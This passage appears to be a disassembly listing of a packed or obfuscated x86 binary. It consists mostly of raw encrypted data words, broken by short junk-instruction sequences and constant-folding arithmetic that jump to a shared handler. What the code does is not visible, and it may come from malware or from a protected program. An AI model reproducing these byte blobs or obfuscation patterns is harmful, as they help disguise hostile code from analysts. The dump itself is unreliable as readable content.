		dd 12A70000h, 0F834DFE8h, 0FF8FE959h, 8AC9FFFFh, 0A7CC8CBCh
		dd 988C488Eh, 0CE8h, 0BE2A9400h, 75848EABh, 425FE4EBh
		dd 0DE9BEh, 3EC60000h, 0A0A8F5D8h, 93DD0458h, 5B73A8AEh
		dd 81F08B66h, 6F52C3h, 685CB000h, 0
		dd 29D1B589h, 6659062Ch, 0FF1637B8h, 8F0F1934h,	5, 39BA41BEh
		dd 0EA815A74h, 22D2F984h, 1AE9BD8Bh, 0EA81062Ch, 3FB4E6A3h
		dd 81C1B70Fh, 4D0B49F2h, 3DE68106h, 896B931Ah, 0B5890B14h
		dd 62C0F51h, 6840Fh, 0BD8B0000h, 62C1FD5h, 4713E981h, 0D681298Bh
		dd 71CDCBB5h, 470FC181h, 0B501298Bh, 62C1E89h, 916CF981h
		dd 850FFFFFh, 14h, 1AE9h, 60EA7800h, 0B975A2E3h, 3D92C5BCh
		dd 0E0FB8783h, 0FFFF7EE9h, 750115FFh, 8BE5AE66h, 65BD83C0h
		dd 62C1Dh, 0BD830975h, 62C23D9h, 50197400h, 0B8C08B53h
		dd 421h, 6918589h, 9D8D062Ch, 62EB16Ch,	585BD3FFh, 23D9BD83h
		dd 7400062Ch, 0B8535017h, 421h,	6918589h, 9D8D062Ch, 62EAE5Bh
		dd 585BD3FFh, 9D8BC08Bh, 62C20CDh, 21AD85C6h, 6856062Ch
		dd 9CA8B852h, 73DB5FFh,	858D062Ch, 62F860Ch, 46AD0FFh
		dd 100068h, 29B5FF00h, 6A062C1Dh, 85D0FF00h, 0D850FC0h
		dd 0B8000000h, 0
		dd 71C88D8Dh, 0E1FF062Ch, 0C38BC88Bh, 53C4003h,	0F8h, 30C508Bh
		dd 0FDBD83D3h, 62C08h, 0E840Fh,	9D8B0000h, 62C08FDh, 114D858Bh
		dd 389062Ch, 858D5251h,	62C43BAh, 0FA8BD0FFh, 0D18BF18Bh
		dd 0A4F3C88Bh, 21AD85C6h, 6856062Ch, 0D41F6D39h, 73DB5FFh
		dd 858D062Ch, 62F860Ch,	68D0FFh, 6A000080h, 0D0FF5200h
		dd 0BD83C08Bh, 62C1D65h, 83097500h, 2C23D9BDh, 19740006h
		dd 0C08B5350h, 421B8h, 3D858900h, 8D062C34h, 2EB1D39Dh
		dd 5BD3FF06h, 0D9BD8358h, 62C23h, 53501774h, 421B8h, 3D858900h
		dd 8D062C34h, 2EAE749Dh, 5BD3FF06h, 8DC08B58h, 2C08FD9Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 41B81889h
		dd 0E800004Bh, 12h, 7EAF37A0h, 8C94617Fh, 47AC1104h, 0E2E1E335h
		dd 10E9BEA2h, 3D000000h, 562198B2h, 0BA04DF38h,	0CE62566h
		dd 5F15E12Ch, 81F2B70Fh, 5C21C7h, 0D1D68000h, 16D368h
		dd 0BBE6600h, 0FFF55BB6h, 0F38B6637h, 81F08B59h, 0CABFB7F1h
		dd 0FE97Ch, 0DE6D0000h,	772C5AB7h, 0A6AD1300h, 3E9F81BDh
		dd 0EBC181F7h, 0B8475C15h, 392678BBh, 445EE981h, 0D9BE460Ch
		dd 895EEEB4h, 83DFB20Fh, 19BE03EFh, 4F1CA4F0h, 0A840Fh
		dd 80600000h, 0D6BAB3C0h, 6162A1E8h, 0F01EB83h,	1985h
		dd 88B0F00h, 0F000000h,	289h, 0E9C38B00h, 29h, 78D1AF30h
		dd 8C0F8B6Bh, 6, 1658C081h, 78E94255h, 0F7FFFFFFh, 0A8126788h
		dd 5B0C23E7h, 0E23CE1B5h, 0D53CC22Fh, 0AE808h, 0ABF30000h
		dd 8E9666EDh, 0CBF3D589h, 5E95Bh, 34770000h, 819095AFh
		dd 0D90FC3h, 0D7BA6600h, 0BE89h, 19B90000h, 8B72D3BAh
		dd 6B93304h, 816F456Bh,	0A98A0FF0h, 0CE942h, 0D58D0000h
		dd 76A9D51Fh, 2C17FB6Ch, 0C0810BC2h, 63B2620h, 12E8h, 1C6DB000h
		dd 39BDCEBAh, 0D496FC7Bh, 772EE9B2h, 0F23E642h,	815AF9B7h
		dd 3DAE37F0h, 6650F50Bh, 8FD192B9h, 8A603304h, 0AE860C8h
		dd 0EA000000h, 9E9E3B5Bh, 13D4BD8Bh, 14E95F21h,	0C4000000h
		dd 0E780E25Fh, 3894BDCBh, 7DC86CFDh, 0BFCA8D2Ah, 61718B72h
		dd 7E961h, 864F0000h, 2C3EB2F3h, 93EE819Bh, 0F150BC2h
		dd 38Ch, 0CB8B6600h, 0C28FC681h, 880F150Bh, 4, 0B49BB966h
		dd 27D0FE81h, 850FFFFFh, 0FFFFFF4Bh, 0D6B70F50h, 3BE95Fh
		dd 8B600000h, 2C1FB5BDh, 4EF8306h, 0C18BC933h, 0B88320BBh
		dd 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h
		dd 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh, 0EBC88BC3h
		dd 1EFD740Ch, 6A937131h, 88B65C4Ch, 5D6E996h, 0CAE90000h
		dd 16000005h, 0AD5EAFCFh, 47F849D3h, 0E293E46Ch, 7B2C7D09h
		dd 3AC8199Fh, 22A884A1h, 0C04220D1h, 5DE1BE6Fh,	0F5135B0Ch
		dd 2A69F7A4h, 37F1E9D4h, 4C4E20F6h, 0CF0E14CEh,	37F11F7Bh
		dd 0E4ED2B9Bh, 4E0860AFh, 9139579Fh, 872FB390h,	7E26A886h
		dd 300AA17Dh, 0BAF54988h, 0A51531C2h, 4D6B0745h, 4FC54BB9h
		dd 6A4647EFh, 623B3CE4h, 522D2ED6h, 0DF1422CAh,	0D5D67E02h
		dd 0DDCD75F7h, 0CAA4257Dh, 0B38DC240h, 13918129h, 0C2BD7ED4h
		dd 0D830A031h, 95DD1220h, 87DFCF77h, 0FB79C358h, 0C23877B9h
		dd 431C2BDh, 7820A883h,	45D02888h, 37F60A42h, 0E96F4B80h
		dd 0DB52591h, 65F1CAFFh, 0F475CDBDh, 24B3B319h,	0DF826CD9h
		dd 0E3D37B05h, 21D22383h, 0B16BE46h, 6EDCAE97h,	0F3ECABF4h
		dd 0DF337218h, 0FF0CA2CEh, 0BC1CA27Eh, 17AC0B5Ch, 0D80D4FCDh
		dd 0A1155490h, 0E10CA2CEh, 2EB91171h, 0A967957h, 0CC563065h
		dd 0F0980874h, 3D8E12EFh, 832BAF8Ch, 8FC1F878h,	0A92B093Fh
		dd 9E240001h, 55A9E8F6h, 75BC2FADh, 8C8B5005h, 0EF30E06h
		dd 0EB4B7BAFh, 7E44438Ch, 97CB417Ch, 2FBFE258h,	76B424BCh
		dd 3978866Ch, 0BC2F08C5h, 0DD359505h, 0AAFB7F5Ch, 52DEB7ECh
		dd 267E06E1h, 9A1862F7h, 361B65Bh, 3EE656BAh, 0ABC52E30h
		dd 65CBE9DFh, 3E08820Dh, 0E27A5DBh, 0CD765C0Bh,	1F2DCA3Ch
		dd 0EF000000h, 113B9092h, 801D7CD9h, 3694928h, 52870000h
		dd 3E94D375h, 6031C25Ch, 0F8E890F0h, 0C29FE6A0h, 0BA95963Eh
		dd 7072B432h, 0CEF5FD57h, 47BB36ADh, 8731C2A4h,	2C07BF17h
		dd 0FEDBF493h, 0D2B8B69h, 73764B8Eh, 8A7A2282h,	4B28D92Ah
		dd 0D4749C7h, 19FE8B37h, 85EAA2FAh, 0F295EA0Eh,	2B7C00DDh
		dd 6F179F7Ah, 6109956Eh, 865B3E57h, 17D223ABh, 5694AF8Fh
		dd 47981EFAh, 8E36B896h, 852DAF8Dh, 97DF1496h, 0CDCC2179h
		dd 63B43614h, 0D254h, 5EF16600h, 1F676810h, 24FFB001h
		dd 9ADC1E9Ch, 0C2BAE75Bh, 3CB72731h, 31C2BAC6h,	88409808h
		dd 0C2BA097Dh, 77122B31h, 0CF197F5Ah, 186EAD77h, 3A31C2FAh
		dd 74E8CCAh, 8D35539Bh,	80BF3D9Dh, 31C20B0Ah, 2B7CDC4Ch
		dd 96EC2B6Dh, 0B831C20Bh, 916FF048h, 1E66670Fh,	20695800h
		dd 0F78A6879h, 0FAEA921Eh, 0BA98499Ah, 0B38F9038h, 627B852Dh
		dd 4ACCAAA7h, 29063BF9h, 0B50DFDA5h, 9CF45834h,	0ED0BBC84h
		dd 0A207AF0Fh, 1BFE97F0h, 87C66A46h, 31C24F33h,	3283E353h
		dd 0A220A481h, 0B30B916Dh, 0DAB8EDFBh, 4750058h, 2F31C24Fh
		dd 2324CC54h, 4A15BDDBh, 0A00AD6B1h, 4D824047h,	7644EC70h
		dd 5F5F66C5h, 237BDB00h, 5230C5A2h, 0FF815FD0h,	9F644E9Fh
		dd 95963EC2h, 63D716B8h, 0A331C2BAh, 602BD333h,	0F97B598Eh
		dd 0B4096151h, 9B1FFCD5h, 0FEA61B1Dh, 4BBA2FB4h, 9FD492F3h
		dd 0A5953DC3h, 77CF5B34h, 0C2B1BFECh, 87EBD31h,	4A31C2A9h
		dd 2A0F7ADAh, 0DF5E563Bh, 0FFFFFEE6h, 7DF2CBCDh, 10A7D028h
		dd 46F75B19h, 0FA52B2B5h, 345CF140h, 13D8D1Fh, 1B99F977h
		dd 0EEFDE7DCh, 8EC30537h, 59AD2846h, 7937EEFDh,	0D545B109h
		dd 0C6E42C2Dh, 5E7CC475h, 50DCB5B6h, 39B9D0D2h,	2DC031D7h
		dd 0E52E1DD5h, 0C7E52D22h, 0B2381449h, 61C21A0Ah, 0A24A68B0h
		dd 0EE322697h, 2BEE8737h, 7FD0EE36h, 0C06886CEh, 0B4327C11h
		dd 0C25B5075h, 3D194E31h, 84FA39B7h, 0C63D9A1Bh, 2292FE56h
		dd 93DD72D1h, 0ACEBD615h, 0BB2B3BAEh, 0B1351213h, 4ED2AF60h
		dd 3ABE9BD0h, 924AA292h, 0E79B8284h, 80407C81h,	0E8099D28h
		dd 19A7A64h, 0E86C4906h, 0D557356Ah, 295E1C7Dh,	2E1EC64Eh
		dd 0F57755D6h, 0CD6F4C4Dh, 7A94388Eh, 9B477878h, 0EF8A73D5h
		dd 1BC32393h, 392CEB04h, 149DFB53h, 0EA0Ah, 9092CC00h
		dd 815A26BAh, 0A0217978h, 0C5E32BC6h, 8FE5E765h, 38BE9A9Bh
		dd 2662A090h, 6BCC2427h, 657DFBAh, 9FF07C55h, 4BCFACE1h
		dd 6742B3A3h, 2A0687DFh, 0CD2D4B93h, 78CE0D4Fh,	7831C25Bh
		dd 0C25BC539h, 39950531h, 0F47E58C9h, 0AE8A3B9Ch, 2968AA28h
		dd 31C25BD5h, 0CC2D85F5h, 6ABB3D1Bh, 758DCB9h, 72F00E56h
		dd 0E7D82970h, 7BD3ED67h, 0F68D691Ah, 8931911Dh, 91C6D48Ch
		dd 83842CB8h, 66BE1EAAh, 0D77F9DE5h, 0FA397BCDh, 31C26184h
		dd 0A9FE56C6h, 0A85624EEh, 5EE9A476h, 0AE2463F1h, 0F031C26Bh
		dd 0CA822F80h, 806Bh, 2567A900h, 0C26B90E6h, 0C742B231h
		dd 31C26873h, 0D7B22393h, 5FB7A74Fh, 0C231ACA5h, 0E531C2BAh
		dd 0D0266509h, 0F231C2BAh, 797A2282h, 8271199Bh, 0C3B45E39h
		dd 96A90950h, 5E77F151h, 924775BBh, 0A1F9835Dh,	6BBC4620h
		dd 6846DFBAh, 0BA3589C8h, 0E55531C2h
		dd 23D42585h, 0B40BE4Ah, 0EF50A830h, 0F1CB623Eh, 6FCFBF67h
		dd 0B916D1Eh, 0A92B09BAh, 46CAA758h, 0DEFC44F5h, 37E8Dh
		dd 0F7900000h, 38589FBDh, 29478F90h, 1FA38081h,	16987677h
		dd 0B916D6Eh, 866263h, 0F27E5758h, 0E66E494Ah, 0D9633D3Eh
		dd 0B9681531h, 89000012h, 0EE68243Ch, 8900000Ch, 0EC81241Ch
		dd 4, 50243C89h, 4C336FB8h, 60E6BB2Ah, 0C3312C7Fh, 8124048Bh
		dd 4C4h, 3C8B5400h, 4C48124h, 53000000h, 8B08478Fh, 8953243Ch
		dd 4C381E3h, 83000000h,	1C8704C3h, 1C8B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		db 9Fh,	50h, 88h
		dd 58E4B8C6h, 0C5030633h, 8D8DD38Bh, 6335A11h, 0FE8h, 0FA4DE200h
		dd 2DE29A8Dh, 52A3B76Dh, 0DEBE6794h, 5732B866h,	0A58D895Eh
		dd 89062C2Bh, 2C0DD5B5h, 0D985C706h, 0F4062C12h, 6A00005Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0EDD6C357h, 0B47740A3h, 0F2C0167Eh, 0C185C7F5h
		dd 62C29h, 0F000000h, 0B5FFF6BFh, 62C2D19h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FEC35242h, 0FF24B2CBh
		dd 2C15F595h, 0AE806h, 37640000h, 13836943h, 14BD4BA6h
		dd 942140B8h, 0E3815808h, 7401576Bh, 95FF006Ah,	62C26B1h
		dd 5CEBC08Bh, 76303233h, 0A2CB06F5h, 6D4E6BCDh,	63B9C29Ah
		dd 0FF071597h, 1F153F01h, 0CF7E7F15h, 52064A80h, 9723A0D9h
		dd 59FAF1D5h, 47AF34Eh,	2ACF4877h, 763F0CA7h, 2E88482Ah
		dd 0B1A956E0h, 5E67F41Dh, 0EF4A5B7Bh, 5CED99A0h, 84D35BC2h
		dd 0B4D13398h, 3BC974A0h, 0BD67A944h, 6B90E018h, 5B328D8Dh
		dd 4DB70633h, 2BA58D89h, 6A062Ch, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 81270CC3h, 0E991EFA1h
		dd 0Fh,	0C2E05A83h, 365C6137h, 0A78241D1h, 0C7CE6814h
		dd 2C12D985h, 581806h, 0B6B86600h, 0A9B589B3h, 0C7062C04h
		dd 2C29C185h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0C8CA3C89h, 8E179D7Bh
		dd 0E380BE78h, 0F5B5FF8Dh, 66062C25h, 3E8AC881h, 15F595FFh
		dd 6A062Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0D4123BC3h, 0FF006A1Eh, 2C26B195h, 0EBC08B06h
		dd 0A9E23E79h, 7A5BCB45h, 831F93DCh, 397B64A9h,	20717DD9h
		dd 583DD979h, 1238B3FBh, 5B603283h, 1E30AAB9h, 3C270157h
		dd 0FD7DADC8h, 0A735F3DFh, 641D2181h, 0DFCAAD6Fh, 0F81A3066h
		dd 317E29DCh, 501E131Bh, 0FC603D71h, 53CAC985h,	0AEA27274h
		dd 75F8B9A9h, 89249F07h, 2CCFDA93h, 99442B9Ah, 64E988B9h
		dd 87C846BBh, 0A3A92866h, 0D824101Ch, 0AF8279EBh, 0CC5898D3h
		dd 1CE96533h, 0AC000000h, 504EE3h, 5 dup(0)
		dd 0E9000000h, 513h, 116282C9h,	0ABFC8660h, 46971FFAh
		dd 0DF30BC95h, 7BCC522Eh, 5D39DCEDh, 0F7D586D7h, 96732475h
		dd 0C810C112h, 1EAC59AAh, 0F1E16BDFh, 0D7D5AB37h, 0F9835D92h
		dd 0DCD820A1h, 0F68DB0EFh, 6AE0EE2h, 52A32905h,	0F9175F94h
		dd 0BAD820A1h, 0A729073Ch, 0FFB70FFFh, 58E2BCF1h, 19377F00h
		dd 0E62E6371h, 0BF3020C8h, 80015977h, 699E1CA6h, 0F7AF078Dh
		dd 0A8811CF6h, 2484741Ch, 1A9E7B7Ch, 0A1682D72h, 7E1962C1h
		dd 0AAFB1961h, 47981CF9h, 8D35B996h, 842CAE8Ch,	3610A783h
		dd 0B41404ACh, 95320B0Ch, 9C8C34B8h, 0B793943Ch, 1F998931h
		dd 0E55F0306h, 3714CDCCh, 6FA462B3h, 35B60E92h,	1C27CFEDh
		dd 31C251A3h, 0DB95FBD6h, 0C310E90Eh, 2324CC2Ch, 4DD5B047h
		dd 223B45EDh, 16DB7B67h, 467E6473h, 63355E56h, 23000000h
		dd 0AD2CA2E1h, 0FE6E31C2h, 579FECA6h, 0A886BB39h, 368E7E26h
		dd 0BA1D737Eh, 38FD31C2h, 0F63E7351h, 0BF67E9C7h, 0C6C76FCFh
		dd 0C9B961EDh, 951DF869h, 2AA5FDEDh, 5E565144h,	8FBh, 0D9B4E900h
		dd 61B9A951h, 3BC59FA7h, 1DB89293h, 2212BA42h, 40191AC2h
		dd 0D41D0CB4h, 0B8421C35h, 506EB667h, 0C39F15FFh, 23CB4F2Ch
		dd 2A2BD333h, 52DAB550h, 0E67F4AF2h, 12EC2123h,	0B53B1788h
		dd 44C51D0Dh, 0E091E268h, 0D1D27A98h, 0AFC66EF6h, 9FB65B5Dh
		dd 0FEFAF8C4h, 75CD4180h, 9D0D31C2h, 3E29F045h,	5E558068h
		dd 1E669Bh, 0BE7EA8h, 2A6C0000h, 1A9517F5h, 31C263A4h
		dd 641E76E6h, 953DC39Fh, 32104587h, 0BAC135B0h,	910131C2h
		dd 55DDB839h, 0FA3CBEADh, 0C2BA47BBh, 0BF178731h, 63A5AF6Ah
		dd 0C2BAAE24h, 0F80F031h, 1707AF31h, 0CB623EBFh, 0B80969EFh
		dd 0FDA52B07h, 0EF9723FCh, 2F6E12EEh, 31C2BADBh, 832B8BFBh
		dd 0AD1EA882h, 0D49F4765h, 0D945C3Bh, 5196B9BBh, 0C035C2A8h
		dd 9129AB82h, 2B837467h, 4E2433D6h, 0E55E560Ch,	92h, 3DC39FA7h
		dd 34C2BDBFh, 0C18B55DCh, 97EF7350h, 9F01DEDFh,	295CAA3Eh
		dd 25CD2DA7h, 0DBE0E2E0h, 0D9DB79B9h, 9772C71Fh, 69B78ADh
		dd 0DFDA529h, 270405ADh, 6AEB43A3h, 0CDB7088Eh,	0E9825D92h
		dd 0ECDC8410h, 0D9B3348Ch, 5872F31h, 26B6DEC5h,	0C23B57ABh
		dd 89077731h, 0C23BF44Ah, 46A61631h, 2FB993C8h,	0B000B987h
		dd 1D6B251Eh, 0A2AD65BDh, 31C2C729h, 0A3A1682Dh, 86C468A1h
		dd 96EE4314h, 5645351Bh, 7953885Eh, 0FF5747EFh,	1D5h, 0C49F9700h
		dd 352B175Eh, 9690A31h,	0D61E5361h, 97DF60B8h, 0AEC7D179h
		dd 931BF6EBh, 44EE342h,	24FE4786h, 0AE1E37EEh, 62372E30h
		dd 71459A55h, 73630B29h, 203BB13h, 9A4B9CBAh, 818C3452h
		dd 37EEB70Fh, 795631F6h, 11C21331h, 37BF9AC9h, 0C13F9F8Fh
		dd 0B7CA407Fh, 9C0C37EEh, 438B8C44h, 0A37C7D25h, 266E6F17h
		dd 3D566008h, 0C25B965Ah, 0A4C20AC7h, 44C2A853h, 0E279582Ah
		dd 67000000h, 24CCEA32h, 0F122DC34h, 5294125Ch,	12BA421Dh
		dd 563FCA22h, 8637EEDDh, 256D6E16h, 8478907h, 37EE9EB2h
		dd 0AB0C64D4h, 0EC94B2FAh, 0DD85A3EBh, 0C19E7912h, 5F0A5B79h
		dd 582A2D79h, 37B997CCh, 73619F8Fh, 0F4069974h,	30749EF6h
		dd 36000000h, 95135DF1h, 0C2BAC056h, 2AD242B1h,	0C2BAAB1Fh
		dd 0A463FCB1h, 0A11F69FDh, 7B745D9Fh, 91E99A2Dh, 9C6EC403h
		dd 40B031C2h, 63E0EFh, 0F1F20000h, 5594125Ch, 37EECA60h
		dd 878830A0h, 4EC4033Fh, 9037EEABh, 6AE320Fh, 556B616h
		dd 46EE0C54h, 0EEAAC03Bh, 2BEEB337h, 7FD0EE36h,	0C3418B20h
		dd 0DA047F84h, 872F9F31h, 78203E86h, 90B2556Eh,	0D76F3D8Eh
		dd 81D9595Dh, 0F573BD52h, 0B860E2C0h, 0A0E270C8h, 0B30B8D6Bh
		dd 0A987A328h, 82D3433Bh, 125CF198h, 16905594h,	7037F6h
		dd 0F10F5758h, 0D1ADE2A0h, 42B3A34Bh, 4737DF67h, 0F7266EEFh
		dd 0FDED951Bh, 0E6CA407Fh, 9C0C37F1h, 5186943Ch, 5747EF75h
		dd 614474FFh, 2E778E73h, 102E766Bh, 0A8C60EBFh,	9A26FF00h
		dd 0C8CFE8F2h, 0A9D3CF17h, 0CF43EF52h, 5D0E5FBFh, 414FF715h
		dd 53AB2F0Ch, 374h, 0BDF78600h,	9038589Fh, 8129478Fh, 771FA380h
		dd 6E169876h, 630B916Dh, 58008662h, 4AF27E57h, 3EE66E49h
		dd 31D9633Dh, 0E2895215h, 4C281h, 0EA830000h, 24148704h
		dd 6824248Bh, 6D8Bh, 56243489h,	0C681E689h, 4, 8704EE83h
		dd 895C2434h, 0D6682404h, 8B06335Bh, 0C4812434h, 4, 271C68h
		dd 24248900h, 4240483h,	4EC8358h, 8F243489h, 34FF0840h
		dd 0C4815824h, 4, 5124348Bh, 0C181E189h, 4, 4C181h, 0C870000h
		dd 0CBE95C24h, 0F3FFF91Bh, 0EA7025E0h, 0B839AFA8h, 633606Bh
		dd 0E0FFC503h, 4AD9B841h, 4B9C3F63h, 24EDD5Fh, 426CBD4Bh
		dd 44BC3E04h, 6AC963A6h, 60A24D26h, 23A99972h, 1783430Ch
		dd 7D78C518h, 5A51B839h, 48D1CC88h, 4EA3B869h, 15B67EAAh
		dd 21A6F700h, 6CD3B58Ch, 0D780D50h, 655BB69Fh, 421641F7h
		dd 12BEF44Ah, 298334E3h, 126CCECCh, 4DE514Ch, 4B86C855h
		dd 4CE78F97h, 3116B927h, 35DACE2h, 70B2E778h, 168643E2h
		dd 2BE9h, 542BB500h, 7,	9 dup(0)
		dd 592E9h, 9DBD0400h, 37C19B4Ch, 0D25A35E6h, 6BF7D081h
		dd 78D691Ah, 729728B6h,	0EBF1096h, 0AC5DAE30h, 49FA4BCFh
		dd 0E592E301h, 0DBA21857h, 0EE437F1h, 47BBFA3Ch, 6537F1DBh
		dd 0F1DBD026h, 2682F237h, 9FA45EB6h, 90913957h,	2CDD2EB4h
		dd 50DCB5E4h, 0FF4748F0h, 0E6EF4D0h, 0F8805B90h, 7CB8250h
		dd 0E2DE4A71h, 71722A82h, 76650D97h, 2D756A2Dh,	0DBBD23FEh
		dd 6F223971h, 6252FA5Ah, 2D8D17F1h, 0A1E91EDCh,	6A129472h
		dd 0A4721A7Ah, 0E251692Bh, 62BA1AC9h, 2F8004E1h, 150A6F71h
		dd 5BC33D48h, 68B7B0A1h, 0B63494FCh, 0C2760377h, 7BD34331h
		dd 0F1991DFAh, 8B9FA1E3h, 3D4A99Eh, 7E196DE8h, 0C93931C2h
		dd 7EB60C4Bh, 68D831C2h, 2FB18F10h, 0A5647D87h,	0FA4BCFACh
		dd 0A62A073Ch, 5685CD4Eh, 1290F00Eh, 0D17903DDh, 0A2870E1h
		dd 621A7262h, 0C27EE657h, 0AFE4E231h, 0B2A24AD6h, 4C1C0C74h
		dd 0F74FCC2Bh, 0A8DDE7A2h, 93E726CEh, 0B331C201h, 4B3BE343h
		dd 959278F3h, 0B0E55E55h, 0CAF44CD6h, 7Ah, 39579F8Ch, 25A986BBh
		dd 0B60A15CDh, 0C331C2BAh, 0B6B75FE9h, 63A8506Eh, 57F7FB9Eh
		dd 0FAE0F792h, 0B15E5651h, 1, 3BC59F73h, 22AABBBDh, 3B7903DDh
		dd 0D917CBE3h, 0DD55D7C7h, 35ED4521h, 52D05A34h, 4BBC401Dh
		dd 5242EA6Eh, 0FF3442FAh, 0C2439B25h, 0EA704CE9h, 0AAF3E28Ah
		dd 8E18F2EFh, 7800DB10h, 0C60EBF20h, 1CF52AA8h,	7AF8E890h
		dd 0C22DC73Bh, 3F970731h, 0C39FF4DEh, 5287953Dh, 5949F175h
		dd 1CA68001h, 0D5D7A974h, 973B2221h, 0D62B831Ah, 0DC1133h
		dd 8AE2D27Ah, 0B9962D09h, 3D9D8D35h, 0D5F33BECh, 0EB512C2Dh
		dd 76D9CB43h, 3589C85Ah, 5531C298h, 7D2585E5h, 9B4A4D66h
		dd 5E562DC5h, 5FE9C3F8h, 506EB6B7h, 58B8A8h, 71D6h, 0C39F9800h
		dd 818AE35Fh, 79FBF021h, 0AE3F7D6Bh, 0E28AEA9Bh, 3AC69FD4h
		dd 0C94AA292h, 0F57755EEh, 0B5FEED95h, 7D21FDD2h, 0C2EEC83Eh
		dd 8FADF531h, 1263C333h, 57FF8561h, 0AF3B1449h,	71FDD657h
		dd 5CE2BEF3h, 0B46CC4B4h, 0D285849Dh, 5E55FBFCh, 3493h
		dd 0C39F5500h, 5287953Dh, 5949F175h, 0EA38001h,	1303AB33h
		dd 1C60BB3h, 0E76D4906h, 0C59FAC96h, 3788933Bh,	1331C2BAh
		dd 0B69C4B4Eh, 6D5E5651h, 1, 1EC49F2Fh,	0C2BA6BDFh, 0DB3BAB31h
		dd 0C74B285Dh, 0E4BE2F1Fh, 6AC2B25Ah, 4B69B1B2h, 998099A3h
		dd 23AB86BBh, 0B2338B7Bh, 9FFE4FD7h, 0E2CE20Ah,	9F136350h
		dd 182C13Fh, 5937EE37h,	0F4296BE9h, 0F6E68EACh,	0EE47077Bh
		dd 7FD74737h, 607EC6C7h, 3E1C510Fh, 9BE364BCh, 76CAD57Dh
		dd 3F37EE47h, 7AC29F7Ah, 125A0B5Ch, 34B4CF4h, 0D9723DE5h
		dd 0BBD9213Eh, 9E77AC6Ah, 227A6A12h, 2954C1A7h,	20121458h
		dd 0B5F6FC6Fh, 0FEA1E624h, 813695BBh, 133FF29h,	0B8ED0000h
		dd 0C0B058DAh, 5CF1AE68h, 7C559412h, 9C37EEDDh,	3B83842Ch
		dd 3AB2F0Ch, 42C4A213h,	0E32264E2h, 37EE9E6Fh, 86E73FAFh
		dd 0C76F8DD5h, 0B8607EC6h, 9CB554EDh, 3AE53654h, 582A2D54h
		dd 690Bh, 78B7F900h, 37EE8A02h,	0C27CD444h, 95135DF1h
		dd 0C2BAC056h, 8C1E20B1h, 0F60FA8A9h, 0F767D32Bh, 330C414Fh
		dd 0B2F1FFA7h, 0B1C2445Ch, 56AE0E7Eh, 0C24477CBh, 80FA8B1h
		dd 0B537154Ah, 3F982E5Dh, 68F2CC63h, 0E82AA808h, 0D44FD9B3h
		dd 0B1C2447Eh, 4AD830A0h, 0C244970Bh, 2E76F731h, 0A15FB010h
		dd 0B008926Ch, 88D1h, 5CF1E300h, 0BA41B5F4h, 118131C2h
		dd 102E8AD3h, 32928154h, 8C8075B4h, 5C9E37EEh, 0EEECA91Dh
		dd 0A49BE937h, 2541BAB7h, 1C5BD939h, 37EEAFA6h,	0B42078E8h
		dd 539B9C44h, 0EB33E435h, 151725CDh, 3B472F3Dh,	64EF4754h
		dd 37EEAEE9h, 5F7017DCh, 850DE817h, 0B1AFEDDDh,	5EC8EF81h
		dd 54B30464h, 0B5F775BFh, 761EA480h, 94A32E86h,	831DA72h
		dd 0A7EFF098h, 0BED7E189h, 68C358DBh, 24A20220h, 0A9D12AE5h
		dd 89DA4A3Bh, 125CF19Fh, 1B5A5594h, 4ABA37F6h, 3B59A1A2h
		dd 0B5F139EAh, 0F1DB0076h, 72D24237h, 6618BFCAh, 70B93519h
		dd 4170B8A9h, 4636DE66h, 0C971FBD5h, 772879D9h,	6869112Fh
		dd 8385038Fh, 0D2AADA84h, 0D890E8ABh, 0FDD2B5CEh, 0E41997B5h
		dd 0F997306h, 6F177767h, 15C6277Fh, 1CC49ECDh, 58CE69DDh
		dd 0D939A936h, 84C34131h, 3658CE0Eh, 280E050h, 67D2C900h
		dd 159ADDDh, 14EA49h, 92FC0000h, 0BABD1150h, 0EBFB31C2h
		dd 57995151h, 0AD0575D1h, 589F4A84h, 478F9038h,	0A3808129h
		dd 9876771Fh, 916D6E16h, 8662630Bh, 7E575800h, 6E494AF2h
		dd 633D3EE6h
		db 0D9h, 31h, 15h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	1705h
		mov	[esp], ebx
		push	4C6Dh
		mov	[esp], edx
		push	edi
		mov	edi, 1B26C90h
		push	ebx
		mov	ebx, 3B7F318Dh
		not	ebx
		and	ebx, 37D23360h
		xor	ebx, 28967FA4h
		sub	ebx, 0B0F77D72h
		sub	edi, ebx
		pop	ebx
		not	edi
		or	edi, 7A2D79BEh
		sub	edi, 753A9A64h
		mov	ebx, edi
		pop	edi
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		push	eax
		mov	eax, 5B3B3160h
		add	[esp+4], eax
		pop	eax
		pop	dword ptr [edx+8]
		sub	dword ptr [edx+8], 5B3B3160h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		db 2Eh,	0F1h, 0FDh
		dd 189387ABh, 0B82259E6h, 6336699h, 0E0FFC503h,	8B6551h
		dd 1C6D0C80h, 62FB05BCh, 6E3AAF42h, 512412ADh, 3D721F3Fh
		dd 326177E1h, 73E1A26h,	185FE00Bh, 36D92E54h, 0B12B207h
		dd 72E32AC4h, 25E9h, 4A1F6700h,	7Ah, 7 dup(0)
		dd 66E90000h, 0A000005h, 0A152A3C3h, 3BEC3DC7h,	0D687D860h
		dd 6F2071FDh, 2EBC0D93h, 169C789Dh, 0B43614C5h,	51D5B263h
